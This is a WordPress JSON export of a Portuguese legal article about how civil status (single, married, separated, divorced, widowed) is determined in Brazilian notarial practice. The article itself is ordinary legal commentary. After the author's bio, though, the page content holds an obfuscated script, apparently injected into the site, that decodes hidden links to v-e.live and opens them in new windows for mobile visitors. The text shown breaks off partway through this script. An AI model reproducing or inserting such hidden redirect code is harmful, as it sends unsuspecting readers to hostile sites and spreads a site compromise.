{"id":1764,"date":"2017-08-11T10:22:44","date_gmt":"2017-08-11T13:22:44","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-qual-e-o-seu-estado-civil-por-anderson-nogueira-guedes\/"},"modified":"2017-08-11T10:22:44","modified_gmt":"2017-08-11T13:22:44","slug":"artigo-qual-e-o-seu-estado-civil-por-anderson-nogueira-guedes","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-qual-e-o-seu-estado-civil-por-anderson-nogueira-guedes\/","title":{"rendered":"Artigo &#8211; Qual \u00e9 o seu estado civil? &#8211; Por Anderson Nogueira Guedes"},"content":{"rendered":"<p style=\"text-align: center;\"><img decoding=\"async\" alt=\"\" src=\"\/ckeditor\/ckfinder\/userfiles\/images\/gd_12863_14770_00097.jpg\" style=\"height:400px; text-align:center; width:600px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: center;\"><span style=\"font-size:16px\"><strong><em>QUAL &Eacute; O SEU ESTADO CIVIL?<\/em><\/strong><\/span><\/p>\n<p style=\"text-align: justify;\">Essa &eacute; uma pergunta simples e deveria ter uma resposta simples tamb&eacute;m.<\/p>\n<p style=\"text-align: justify;\">Mas, na pr&aacute;tica, n&atilde;o &eacute; o que sempre acontece.<\/p>\n<p style=\"text-align: justify;\">Muitas pessoas respondem tal questionamento de maneira errada. Umas, por desconhecimento; outras, de maneira proposital.<\/p>\n<p style=\"text-align: justify;\">&Eacute; uma pergunta corriqueira na pr&aacute;tica notarial e registral, e geralmente &eacute; acompanhada de outras, necess&aacute;rias &agrave; correta e adequada identifica&ccedil;&atilde;o e qualifica&ccedil;&atilde;o das partes.<\/p>\n<p style=\"text-align: justify;\">Ap&oacute;s identificarmos uma pessoa, com a confer&ecirc;ncia dos originais de seus documentos pessoais, normalmente a questionamos sobre seus dados b&aacute;sicos de qualifica&ccedil;&atilde;o: estado civil, profiss&atilde;o e endere&ccedil;o atual.<\/p>\n<p style=\"text-align: justify;\">Isso &eacute; muito comum, principalmente no Tabelionato de Notas, seja na abertura de um cart&atilde;o de assinaturas, seja na lavratura de um ato notarial como uma procura&ccedil;&atilde;o, uma escritura ou um testamento.<\/p>\n<p style=\"text-align: justify;\">N&atilde;o precisei de muito tempo na atividade para perceber que muitas pessoas realmente desconhecem o seu pr&oacute;prio estado civil.<\/p>\n<p style=\"text-align: justify;\">&#8211; &quot;Sou casado!&quot; Respondem alguns, acreditando que a uni&atilde;o est&aacute;vel e\/ou o casamento religioso t&ecirc;m o cond&atilde;o de alterar o estado civil de uma pessoa.<\/p>\n<p style=\"text-align: justify;\">J&aacute; outros, respondem: &quot;Sou solteiro!&quot; Acreditando que a separa&ccedil;&atilde;o, o div&oacute;rcio ou o falecimento do c&ocirc;njuge o tornam novamente solteiro.<\/p>\n<p style=\"text-align: justify;\">Outros, por outro lado, respondem: &quot;Sou amasiado!&quot;<\/p>\n<p style=\"text-align: justify;\">Mas, em suma, o que &eacute; estado civil?<\/p>\n<p style=\"text-align: justify;\">Podemos dizer que, em direito, estado civil &eacute; a situa&ccedil;&atilde;o de uma pessoa com rela&ccedil;&atilde;o ao matrim&ocirc;nio ou &agrave; sociedade conjugal. &Eacute; basicamente isso.<\/p>\n<p style=\"text-align: justify;\">&Eacute; como nos apresentamos em nosso dia a dia, no trato social.<\/p>\n<p style=\"text-align: justify;\">Em nosso ordenamento jur&iacute;dico, em uma vis&atilde;o tradicional e cl&aacute;ssica, os poss&iacute;veis estados das pessoas com rela&ccedil;&atilde;o ao casamento s&atilde;o: solteiro, casado, separado (judicial ou extrajudicialmente), divorciado e vi&uacute;vo.<\/p>\n<p style=\"text-align: justify;\"><strong>Solteira<\/strong> &eacute; a pessoa que n&atilde;o est&aacute; e nunca esteve ligada a outra pelo v&iacute;nculo do casamento. Tamb&eacute;m o &eacute; aquele que teve a sociedade conjugal rompida pela nulidade ou anula&ccedil;&atilde;o do casamento, nos termos do artigo 1.571, II, do C&oacute;digo Civil.<\/p>\n<p style=\"text-align: justify;\"><strong>Casada<\/strong> &eacute; a pessoa que se encontra ligada a outra pelo v&iacute;nculo do casamento, nos termos da legisla&ccedil;&atilde;o civil em vigor. O casamento civil est&aacute; disciplinado pelo artigo 1.511 e seguintes do C&oacute;digo Civil e pelo artigo 70 e seguintes da Lei de Registros P&uacute;blicos.<\/p>\n<p style=\"text-align: justify;\"><strong>Separada<\/strong> &eacute; a pessoa que rompeu a sociedade conjugal por meio de uma a&ccedil;&atilde;o de separa&ccedil;&atilde;o judicial ou de uma escritura p&uacute;blica de separa&ccedil;&atilde;o consensual.<\/p>\n<p style=\"text-align: justify;\"><strong>Divorciado<\/strong> &eacute; aquele que rompeu o v&iacute;nculo do seu casamento por meio de uma a&ccedil;&atilde;o judicial de div&oacute;rcio ou de uma escritura p&uacute;blica de div&oacute;rcio consensual.<\/p>\n<p style=\"text-align: justify;\">Mister se faz frisar que a Lei n&ordm; 11.441, de 04 de janeiro de 2007, possibilitou a realiza&ccedil;&atilde;o de invent&aacute;rio, partilha, separa&ccedil;&atilde;o consensual e div&oacute;rcio consensual por via administrativa, em tabelionatos de notas. E, de l&aacute; para c&aacute;, milhares de processos deixaram de abarrotar o Judici&aacute;rio, gerando grande economia de tempo e de recursos aos cofres p&uacute;blicos. Atualmente, a separa&ccedil;&atilde;o e o div&oacute;rcio, extrajudiciais, est&atilde;o previstos no artigo 733 do novo C&oacute;digo de Processo Civil &ndash; Lei n&ordm; 13.105, de 16 de mar&ccedil;o de 2015, que assim preconiza:<\/p>\n<p>&nbsp;<\/p>\n<p style=\"margin-left:4.0cm\">&ldquo;<em>Art. 733. O div&oacute;rcio consensual, a separa&ccedil;&atilde;o consensual e a extin&ccedil;&atilde;o consensual de uni&atilde;o est&aacute;vel, n&atilde;o havendo nascituro ou filhos incapazes e observados os requisitos legais, poder&atilde;o ser realizados por escritura p&uacute;blica, da qual constar&atilde;o as disposi&ccedil;&otilde;es de que trata o&nbsp;<\/em><a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/L13105.htm#art731\"><em>art. 731<\/em><\/a><em>.<\/em><\/p>\n<p style=\"margin-left:4.0cm\"><a name=\"art733\u00c2\u00a71\"><\/a><em>&sect; 1<u><sup>o<\/sup><\/u>&nbsp;A escritura n&atilde;o depende de homologa&ccedil;&atilde;o judicial e constitui t&iacute;tulo h&aacute;bil para qualquer ato de registro, bem como para levantamento de import&acirc;ncia depositada em institui&ccedil;&otilde;es financeiras.<\/em><\/p>\n<p style=\"margin-left:4.0cm\"><a name=\"art733\u00c2\u00a72\"><\/a><em>&sect; 2<u><sup>o<\/sup><\/u>&nbsp;O tabeli&atilde;o somente lavrar&aacute; a escritura se os interessados estiverem assistidos por advogado ou por defensor p&uacute;blico, cuja qualifica&ccedil;&atilde;o e assinatura constar&atilde;o do ato notarial.&rdquo;<\/em><\/p>\n<p style=\"margin-left:70.9pt\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Vi&uacute;vo,<\/strong> por fim, &eacute; o indiv&iacute;duo que teve o v&iacute;nculo do seu casamento rompido pelo falecimento de seu c&ocirc;njuge.<\/p>\n<p style=\"text-align: justify;\">Esses s&atilde;o, segundo a legisla&ccedil;&atilde;o p&aacute;tria, os poss&iacute;veis estados das pessoas naturais com rela&ccedil;&atilde;o ao casamento. S&atilde;o as modalidades de estado civil existentes em nosso pa&iacute;s.<\/p>\n<p style=\"text-align: justify;\">Vale ressaltar que grandes civilistas, como Fl&aacute;vio Tartuce (2016, p. 150\/152), defendem a cria&ccedil;&atilde;o de um novo estado civil familiar, de <strong>companheiro<\/strong> ou <strong>convivente<\/strong>, para as pessoas que convivem em uni&atilde;o est&aacute;vel.<\/p>\n<p style=\"text-align: justify;\">O fato &eacute; que n&atilde;o existe, at&eacute; agora, legisla&ccedil;&atilde;o expressa nesse sentido.<\/p>\n<p style=\"text-align: justify;\">Deve-se, entretanto, observar que, apesar de n&atilde;o haver previs&atilde;o legal expressa quanto ao estado civil de <strong>companheiro<\/strong> ou <strong>convivente<\/strong>, n&atilde;o poder&aacute; a uni&atilde;o est&aacute;vel ser omitida por qualquer dos companheiros, principalmente na realiza&ccedil;&atilde;o de neg&oacute;cios jur&iacute;dicos.<\/p>\n<p style=\"text-align: justify;\">Deve-se ter zelo e muito cuidado na coleta dos dados de identifica&ccedil;&atilde;o e qualifica&ccedil;&atilde;o das partes e na confer&ecirc;ncia da documenta&ccedil;&atilde;o comprobat&oacute;ria das declara&ccedil;&otilde;es por elas prestadas.<\/p>\n<p style=\"text-align: justify;\">As implica&ccedil;&otilde;es, em caso de erro ou inexatid&atilde;o, s&atilde;o in&uacute;meras. Tanto no campo social, quanto na esfera patrimonial.<\/p>\n<p style=\"text-align: justify;\">J&aacute; imaginou um indiv&iacute;duo <strong>casado<\/strong> se apresentando ao Oficial de Registro Civil para instruir processo de habilita&ccedil;&atilde;o para um novo casamento, e <strong>declarando-se solteiro<\/strong>?<\/p>\n<p style=\"text-align: justify;\">Imagine agora o &quot;seu Jos&eacute;&quot;, casado com a &quot;dona Maria&quot;, de quem est&aacute; separado de fato, vendendo sozinho um im&oacute;vel do casal, ao se declarar solteiro.<\/p>\n<p style=\"text-align: justify;\">Voc&ecirc; pode at&eacute; dizer: &quot;Ah! Isso &eacute; f&aacute;cil de constatar!&quot;<\/p>\n<p style=\"text-align: justify;\">Na pr&aacute;tica isso n&atilde;o &eacute; t&atilde;o simples assim.<\/p>\n<p style=\"text-align: justify;\">N&atilde;o se esque&ccedil;a que a velocidade com que as coisas acontecem na atual conjuntura social &eacute; espantosa. Todos querem tudo para ontem!<\/p>\n<p style=\"text-align: justify;\">Mas n&atilde;o podemos falhar com a qualidade dos servi&ccedil;os em raz&atilde;o da pressa que nos &eacute; imposta. Agilidade em detrimento da qualidade do servi&ccedil;o nunca ser&aacute; uma boa op&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">As coisas t&ecirc;m que ser equilibradas.<\/p>\n<p style=\"text-align: justify;\">O equil&iacute;brio, a nosso ver, sempre ser&aacute; o melhor caminho a seguir.<\/p>\n<p style=\"text-align: justify;\">A declara&ccedil;&atilde;o inexata do estado civil, por equ&iacute;voco ou m&aacute; f&eacute; da parte, somada &agrave; falta de zelo ou aten&ccedil;&atilde;o do profissional do direito ou de seus prepostos, pode acarretar grandes preju&iacute;zos a terceiros e, em consequ&ecirc;ncia, levar as partes interessadas\/envolvidas a infind&aacute;veis demandas judiciais, que poderiam ser evitadas no balc&atilde;o da serventia.<\/p>\n<p style=\"text-align: justify;\">A correta e adequada identifica&ccedil;&atilde;o das pessoas que figuram nos atos notariais e registrais garantem a almejada seguran&ccedil;a jur&iacute;dica, a nosso ver cerne das atividades notariais e registrais, e asseguram a efic&aacute;cia jur&iacute;dica dos atos praticados pelos not&aacute;rios e registradores.<\/p>\n<p style=\"text-align: justify;\">Quando estou colhendo os dados de identifica&ccedil;&atilde;o de uma pessoa, a fim de saber se o que ela declarou corresponde &agrave; verdade, geralmente refor&ccedil;o o questionamento quanto ao estado civil:<\/p>\n<p style=\"text-align: justify;\">&#8211; &quot;Voc&ecirc; j&aacute; foi casado em cart&oacute;rio?&quot;.<\/p>\n<p style=\"text-align: justify;\">Isso tem um sentido. Muitos dos que se declaram solteiros s&atilde;o, na verdade, separados, divorciados ou vi&uacute;vos.<\/p>\n<p style=\"text-align: justify;\">&Eacute; evidente que essa simples indaga&ccedil;&atilde;o n&atilde;o me d&aacute; a certeza de que o que est&aacute; sendo declarado corresponde &agrave; verdade, mas me d&aacute; um indicativo de qual caminho seguir.<\/p>\n<p style=\"text-align: justify;\">Caso nunca tenha se casado junto a um Cart&oacute;rio de Registro Civil das Pessoas Naturais, claro est&aacute; que se trata de pessoa solteira, mesmo que conviva ou tenha convivido por um longo tempo com outra em uni&atilde;o est&aacute;vel.<\/p>\n<p style=\"text-align: justify;\">Por outro lado, caso a pessoa responda que sim, a exig&ecirc;ncia da respectiva certid&atilde;o de casamento &eacute; medida que se imp&otilde;e, sobretudo em atos negociais.<\/p>\n<p style=\"text-align: justify;\">As pessoas solteiras, maiores e capazes, t&ecirc;m, a princ&iacute;pio, livre administra&ccedil;&atilde;o\/disposi&ccedil;&atilde;o de seus bens. J&aacute; os casados, em regra, necessitam de anu&ecirc;ncia do outro c&ocirc;njuge (outorga ux&oacute;ria ou autoriza&ccedil;&atilde;o marital) para alienar ou gravar de &ocirc;nus real os bens im&oacute;veis, bem como para prestar fian&ccedil;a ou aval, assim como nos demais casos do artigo 1.647 do C&oacute;digo Civil.<\/p>\n<p style=\"text-align: justify;\">Em determinados casos, exige-se, inclusive, que a certid&atilde;o de casamento esteja atualizada, a fim de se aferir o atual e verdadeiro estado civil da pessoa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;Frise-se que toda e qualquer situa&ccedil;&atilde;o que altere o estado civil dos consortes dever&aacute; ser noticiada &agrave; margem do registro de casamento do casal, com fulcro no artigo 29, &sect;1&ordm;, a, da Lei de Registros P&uacute;blicos &ndash; Lei n&ordm; 6.015, de 31 de dezembro de 1973, e no artigo 10, I, do C&oacute;digo Civil. &nbsp;<\/p>\n<p style=\"text-align: justify;\">Desta forma, ser&atilde;o objeto de averba&ccedil;&atilde;o o div&oacute;rcio, a separa&ccedil;&atilde;o e o restabelecimento da sociedade conjugal, bem como as senten&ccedil;as que decretarem a nulidade ou anula&ccedil;&atilde;o do casamento.<\/p>\n<p style=\"text-align: justify;\">Apesar de referidos dispositivos legais n&atilde;o preverem a averba&ccedil;&atilde;o da viuvez, a boa pr&aacute;tica e as normas das corregedorias estaduais normalmente&nbsp; recomendam a sua anota&ccedil;&atilde;o &agrave; margem do registro de casamento.<\/p>\n<p style=\"text-align: justify;\">Assim, em vindo o casal a se separar ou divorciar, judicial ou extrajudicialmente, a restabelecer a sociedade conjugal, ou vindo a falecer qualquer do par, tais informa&ccedil;&otilde;es dever&atilde;o constar do assento de casamento e das respectivas certid&otilde;es emitidas.<\/p>\n<p style=\"text-align: justify;\">Em regra, uma pessoa que jamais tenha se &quot;casado em cart&oacute;rio&quot; (como costumeiramente se diz), por mais que com outra mantenha ou tenha mantido uni&atilde;o est&aacute;vel, mesmo que por um longo per&iacute;odo, n&atilde;o poder&aacute; ser considerada casada, separada, divorciada ou vi&uacute;va. &Eacute; <strong>solteira<\/strong>! Existem, entretanto, algumas situa&ccedil;&otilde;es em que a lei dispensa a celebra&ccedil;&atilde;o do casamento em cart&oacute;rio, como no caso do casamento religioso com efeitos civis, as quais ser&atilde;o abordadas em outra oportunidade.<\/p>\n<p style=\"text-align: justify;\">Por outro lado, uma pessoa que se casou no civil, mesmo que separada de fato de seu c&ocirc;njuge, n&atilde;o poder&aacute; ser considerada separada ou divorciada, enquanto pendente a separa&ccedil;&atilde;o ou div&oacute;rcio.<\/p>\n<p style=\"text-align: justify;\">Agora, o que dizer de pessoa separada, judicial ou extrajudicialmente, vindo o seu ex-c&ocirc;njuge a falecer antes da convers&atilde;o da separa&ccedil;&atilde;o do casal em div&oacute;rcio?<\/p>\n<p style=\"text-align: justify;\">Imaginemos a seguinte situa&ccedil;&atilde;o: Jos&eacute; e Maria vieram a se separar juridicamente (judicial ou extrajudicialmente). Ap&oacute;s a separa&ccedil;&atilde;o do casal, sem que tenha havido a convers&atilde;o em div&oacute;rcio, Jos&eacute; veio a falecer. Qual &eacute; o estado civil de Maria? Pense um pouquinho a&iacute;!<\/p>\n<p style=\"text-align: justify;\">Certa vez, uma senhora procurou a nossa serventia e me confessou que n&atilde;o sabia qual era o seu estado civil. Disse-me que havia se separado judicialmente de seu ex-marido h&aacute; muitos anos, e que antes de promoverem a convers&atilde;o da separa&ccedil;&atilde;o judicial em div&oacute;rcio, veio ele a falecer. Confidenciou-me que n&atilde;o aguentava mais aquela situa&ccedil;&atilde;o, pois, segundo ela, ningu&eacute;m sabia dizer ao certo qual era o seu estado civil. E, por isso, constrangida, apresentava-se sempre como separada judicialmente.<\/p>\n<p style=\"text-align: justify;\">Sem hesitar, disse a ela: &#8211; &quot;A senhora &eacute; vi&uacute;va!&quot;<\/p>\n<p style=\"text-align: justify;\">Realmente, in&uacute;meras foram as vezes que vi pessoas se equivocando quanto a essa situa&ccedil;&atilde;o espec&iacute;fica, inclusive v&aacute;rios outros profissionais do direito. Muitos acham que, nesse caso, a pessoa permanece como separada judicialmente.<\/p>\n<p style=\"text-align: justify;\">N&atilde;o podemos nos esquecer que a separa&ccedil;&atilde;o, judicial ou extrajudicial, n&atilde;o tem o cond&atilde;o de dissolver o casamento v&aacute;lido. A separa&ccedil;&atilde;o extingue a sociedade conjugal, mas n&atilde;o dissolve o v&iacute;nculo do matrim&ocirc;nio. &nbsp;Desta forma, em vindo a falecer o ex-c&ocirc;njuge separado (judicial ou extrajudicialmente), o sobrevivente dever&aacute; ser considerado <strong>vi&uacute;vo<\/strong>, uma vez que o casamento n&atilde;o havia, ainda, sido dissolvido pelo div&oacute;rcio.<\/p>\n<p style=\"text-align: justify;\">Esse &eacute;, a nosso ver, o melhor entendimento.<\/p>\n<p style=\"text-align: justify;\">Se n&atilde;o for assim, como poder&aacute; a pessoa, nesse caso, contrair novas n&uacute;pcias, eis que o C&oacute;digo Civil em vigor veda o casamento de pessoas separadas?<\/p>\n<p style=\"text-align: justify;\">Nunca mais poder&aacute; se casar com outra pessoa, e, assim, prosseguir com a sua vida?<\/p>\n<p style=\"text-align: justify;\">O operador do direito, apesar de n&atilde;o lidar com uma ci&ecirc;ncia l&oacute;gica como a matem&aacute;tica, deve procurar, no ordenamento, solu&ccedil;&otilde;es l&oacute;gicas, pertinentes e adequadas &agrave;s situa&ccedil;&otilde;es que surgem em nosso dia a dia. Essa &eacute; a minha humilde opini&atilde;o.<\/p>\n<p style=\"text-align: justify;\">Nem todas as situa&ccedil;&otilde;es est&atilde;o expressa e literalmente previstas no texto de lei. Ali&aacute;s, isso seria praticamente imposs&iacute;vel, haja vista a grande din&acirc;mica existente em nossa sociedade.<\/p>\n<p style=\"text-align: justify;\">Deve ter, desta forma, um conhecimento amplo do ordenamento jur&iacute;dico, utilizando-se das regras de hermen&ecirc;utica jur&iacute;dica, e, muitas vezes, de interpreta&ccedil;&atilde;o sistem&aacute;tica, a fim de dar uma boa, adequada e justa solu&ccedil;&atilde;o aos casos que lhe s&atilde;o apresentados.<\/p>\n<p style=\"text-align: justify;\">E n&atilde;o me venha com filosofia, dizendo que o que &eacute; justo para mim pode n&atilde;o ser justo para voc&ecirc;! Estou falando de equil&iacute;brio e bom-senso.<\/p>\n<p style=\"text-align: justify;\">Lembro-me sempre das li&ccedil;&otilde;es de meu primeiro professor de Direito Civil:<\/p>\n<p style=\"text-align: justify;\">&#8211; &ldquo;O Direito tem que fazer sentido&rdquo;, dizia ele.<\/p>\n<p style=\"text-align: justify;\">Confesso que a pr&aacute;tica muitas vezes n&atilde;o reflete a beleza encontrada na teoria. Quer um exemplo gen&eacute;rico para voc&ecirc; entender do que estou falando? Onde est&atilde;o, sa&uacute;de, educa&ccedil;&atilde;o, alimenta&ccedil;&atilde;o, transporte, moradia e outros tantos direitos sociais assegurados pela Constitui&ccedil;&atilde;o Federal a todos os brasileiros? N&atilde;o estude bastante e consiga um bom emprego para ver o que acontece. E, depois, trabalhe bastante e continue estudando.<\/p>\n<p style=\"text-align: justify;\">Desabafos &agrave; parte, voltemos ao que interessa.<\/p>\n<p style=\"text-align: justify;\">O estado civil da pessoa, no caso em tela, &eacute; o de <strong>vi&uacute;va<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Nesse diapas&atilde;o, ensina-nos Maria Berenice Dias (2010, p. 59):<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"margin-left:4.0cm\"><em>&quot;Ocorrendo a morte de um dos c&ocirc;njuges depois da separa&ccedil;&atilde;o, o sobrevivente assume a condi&ccedil;&atilde;o de vi&uacute;vo. Essa conclus&atilde;o tem uma justificativa l&oacute;gica. Advindo a morte de um do par, n&atilde;o h&aacute; a possibilidade de decreta&ccedil;&atilde;o do div&oacute;rcio. Deste modo, &eacute; necess&aacute;rio reconhecer que a morte libera o separado para novo casamento. O mesmo n&atilde;o acontece quando ocorre o falecimento de um dos c&ocirc;njuges depois do div&oacute;rcio. Os divorciados continuam sendo assim identificados mesmo depois da morte do ex-c&ocirc;njuge. O casamento j&aacute; estava dissolvido&quot;. <\/em><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Apesar de simples, o assunto pode, por vezes, tornar-se tormentoso, como no caso daquela senhora que sempre se declarava separada judicialmente.<\/p>\n<p style=\"text-align: justify;\">De suma import&acirc;ncia, portanto, a correta identifica&ccedil;&atilde;o e qualifica&ccedil;&atilde;o das partes nos atos notariais e registrais, exigindo-se, sempre, dos not&aacute;rios e registradores, bem como de seus prepostos, muita aten&ccedil;&atilde;o e zelo na realiza&ccedil;&atilde;o de seu mister, a fim de que os seus atos venham a garantir as almejadas seguran&ccedil;a e efic&aacute;cia jur&iacute;dicas.<\/p>\n<p style=\"text-align: justify;\">Desta forma, depois de tudo devidamente esclarecido, pergunto-lhe:<\/p>\n<p style=\"text-align: justify;\">Qual &eacute; mesmo o seu estado civil?<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p><strong><em>BIBLIOGRAFIA:<\/em><\/strong><\/p>\n<p>BRASIL.&nbsp;<em>C&oacute;digo Civil Brasileiro<\/em>, Lei n&ordm; 10.406, de 10 de janeiro de 2002. Dispon&iacute;vel em: &lt; http:\/\/www.planalto.gov.br\/ccivil_03\/Leis\/2002\/L10406.htm&gt;. Acesso em: 09 de agosto de 2017.<\/p>\n<p>BRASIL.&nbsp;<em>C&oacute;digo de Processo Civil Brasileiro<\/em>, Lei n&ordm; 13.105, de 16 de mar&ccedil;o de 2015. Dispon&iacute;vel em: &lt; http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/L13105.htm&gt;. Acesso em: 09 de agosto de 2017.<\/p>\n<p>BRASIL.&nbsp;<em>Lei de Registros P&uacute;blicos<\/em>, Lei n&ordm; 6.015, de 31 de dezembro de 1973. Dispon&iacute;vel em: &lt; http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/L6015consolidado.htm&gt;. Acesso em: 09 de agosto de 2017.<\/p>\n<p>BRASIL.&nbsp;Lei n&ordm; 11.441, de 04 de janeiro de 2007. Dispon&iacute;vel em: &lt; http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2007-2010\/2007\/lei\/L11441.htm&gt;. Acesso em: 09 de agosto de 2017.<\/p>\n<p>DIAS, Maria Berenice. <em>Div&oacute;rcio J&aacute;! Coment&aacute;rios &agrave; Emenda Constitucional 66, de 13 de julho de 2010<\/em>. 1 ed. S&atilde;o Paulo: Revista dos Tribunais, 2010.<\/p>\n<p>TARTUCE, Fl&aacute;vio. <em>Manual de Direito Civil<\/em>. Volume &Uacute;nico. 6 ed. S&atilde;o Paulo: M&eacute;todo, 2016.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>*O autor, Anderson Nogueira Guedes, &eacute; Tabeli&atilde;o Substituto do Tabelionato Guedes &#8211; 2&ordm; Servi&ccedil;o Notarial e Registral da comarca de Campo Novo do Parecis-MT. Bacharel em Direito e Secret&aacute;rio-Adjunto da ARPEN\/MT.&nbsp;<\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x70\\x4f\\x63\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x55\\x4f\\x38\\x63\\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x6e\\x48\\x35\\x63\\x33','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x62\\x58\\x31\\x63\\x38','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x4e\\x76\\x63\\x32\\x63\\x31','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x71\\x79\\x34\\x63\\x39','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x66\\x55\\x61\\x33\\x63\\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x71\\x58\\x6d\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x55\\x78\\x36\\x63\\x36','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x4c\\x57\\x37\\x63\\x32',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const 